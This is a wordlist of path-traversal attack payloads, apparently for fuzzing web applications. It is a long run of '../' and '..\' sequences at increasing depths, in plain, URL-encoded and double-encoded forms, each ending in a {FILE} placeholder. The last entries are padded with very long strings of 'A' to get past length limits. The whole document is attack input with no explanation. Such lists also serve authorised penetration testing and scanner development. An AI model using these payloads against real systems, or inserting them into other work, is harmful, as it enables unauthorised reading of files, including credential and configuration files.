..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> 